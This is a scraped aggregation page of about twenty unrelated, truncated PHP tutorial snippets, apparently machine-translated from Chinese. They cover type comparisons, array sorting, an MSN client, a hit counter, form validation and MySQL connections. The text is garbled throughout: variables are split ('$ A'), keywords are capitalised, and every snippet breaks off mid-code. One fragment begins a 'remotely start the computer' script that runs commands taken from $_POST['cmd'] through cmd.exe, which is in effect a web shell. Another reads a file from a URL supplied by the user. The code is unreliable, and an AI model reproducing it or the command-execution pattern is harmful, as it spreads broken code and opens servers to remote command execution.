PHP

$ A = '';Echo '1. ----------- '. ($ a = '').' ';Echo '2. ----------- '. ($ a = null).' ';Echo '3. ----------- '. ($ a = false).' ';Echo '4. ----------- '. ($ a = '0').' ';Echo '5. ----------- '. ($ a = 0).' ';$ A = null;Echo '6. ----------- '. (

Why? Because there are two types of Form Processing: GET and POST, how to pass the do parameter in both forms, in addition, it has always been a confusing issue to obtain data in the same way in the background. After several hours of experimentation,

The general method for sorting multi-dimensional arrays is1. Obtain the sorted data and put it into the array $ arrSort. The middle-key index is the index of the array to be sorted to ensure uniqueness.2. sort $ arrSort using sorting functions such

Copy codeThe Code is as follows:/** BkJia Chinese network, provided as a whole, passed the test*/$ Msn = new myMSN (php100@php100.com, "123 ");// MSNv9Class myMSN {Private $ server = "messenger.hotmail.com ";Private $ port = 1863;Private $ nexus =

The Code is as follows:Copy codeThe Code is as follows:Abstract class Filter {// filter parent classPrivate $ blackstr = array ();Private $ whitestr = array ();Function filtit ($ str ){// Do something}}Class LoginFilter extends Filter {// for user

Call method:Count. php source code:Copy codeThe Code is as follows:$ File_name = "count.txt ";$ Fp = fopen ($ file_name, "r"); // read the current count when opening a file$ Count = fread ($ fp, filesize ($ file_name ));Fclose ($ fp );$ Count ++; //

For example, the page will be displayed as 2005 on May 23, after reading data from May 23, which will cause a lot of inconvenience to program processing. Some information found that php. ini has the date processing function by

Copy codeThe Code is as follows: Form name: password: Password confirmation: Gender: male female birthday: Email: occupation: Copy codeThe Code is as follows:Function form_sub (){If (! Test_username (document.

The method is as follows:$ Arr = array (............) ; // Assume that an array with 10 thousand elements contains repeated elements.$ Arr = array_flip ($ arr); // you can delete duplicate elements.What is going on? Let's take a look at the role of

/*** Remotely start the computer* Note: iis/apache requires windows/system/cmd.exe execution permission.* Name: Xue rufei* Qq: 6706250* E-mail: xuerufei@163.com* Blog: http://hi.baidu.com/apsara Stack* Date: 08.08.28**/If (isset ($ _ POST ['cmd']){$

Copy codeThe Code is as follows:$ Url = $ _ GET ['url'];$ Ext = pathinfo ($ url, PATHINFO_EXTENSION );If ($ ext! = 'Jpg '& $ ext! = 'Gif') {// only jpg and gif images are supported.Readfile ('/upload/20081209130557536.gif ');Exit;}$ File = md5 ($

First, create the database cake_ext and execute the following SQL: Create table 'companys '( 'Id' int (11) not null auto_increment, 'Company' varchar (50) not null, 'Price' decimal (8, 2) not null, 'Change' decimal (8, 2) not null,

However, it is not easy to become a PHP programming expert. As many people think, as long as they can quickly write a few simple codes to solve a complicated problem, they are PHP programmers, real PHP experts also need to consider more other issues.

1. generate random string functions Function random ($ length ){$ Hash = @#@#;$ Chars =@# abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz @#;$ Max = strlen ($ chars)-1;Mt_srand (double) microtime () * 1000000 );For ($ I = 0; $ I $

Problem: for example, the implementation is as follows:$ Data = array ('Id' => $ _ POST ['id1'],'Name' => $ _ POST ['name1']);$ Posts = $ this-> _ modelstudent-> findAll ($ data );You can enter the id query or name query in the text box with the id

In addition, the rss reading function is slightly transformed on the basis of this program.If an array string is output and the encoding problem is solved.Php source code and code are described as follows:// RSS source address list Array$ Rssfeed =

Array ([key =>] value, [key =>] value, [key =>] value, [key =>] value) // key can be integer or string // value can be any valueArray_change_key_case -- returns an array whose string key names are all in lowercase or uppercase.Array_chunk -- splits

Function MakeUrl ($ arr ){Foreach ($ arr as $ key => $ value ){$ Url [] = $ key. "_". $ value;}$ Tmpurl = implode ("_", $ url );Return $ tmpurl. ". htm ";}Function ParseUrl (){If ($ _ SERVER ['path _ info']! = ""){$ Pathinfo = substr ($ _ SERVER

$ Dbh = @ mysql_connect ("localhost: 3306", "root", "9999 ");/* Define the variable dbh. The mysql_connect () function means to connect to the mysql database, and "@" means to block the error */If (! $ Dbh) {die ("error ");}/* The die () function

Obviously, this is because of setcookie. I checked the Internet and explained the following: the cookie itself has some restrictions, for example:1. The description of the call to setcookie must be placed before the tag2. You cannot use echo before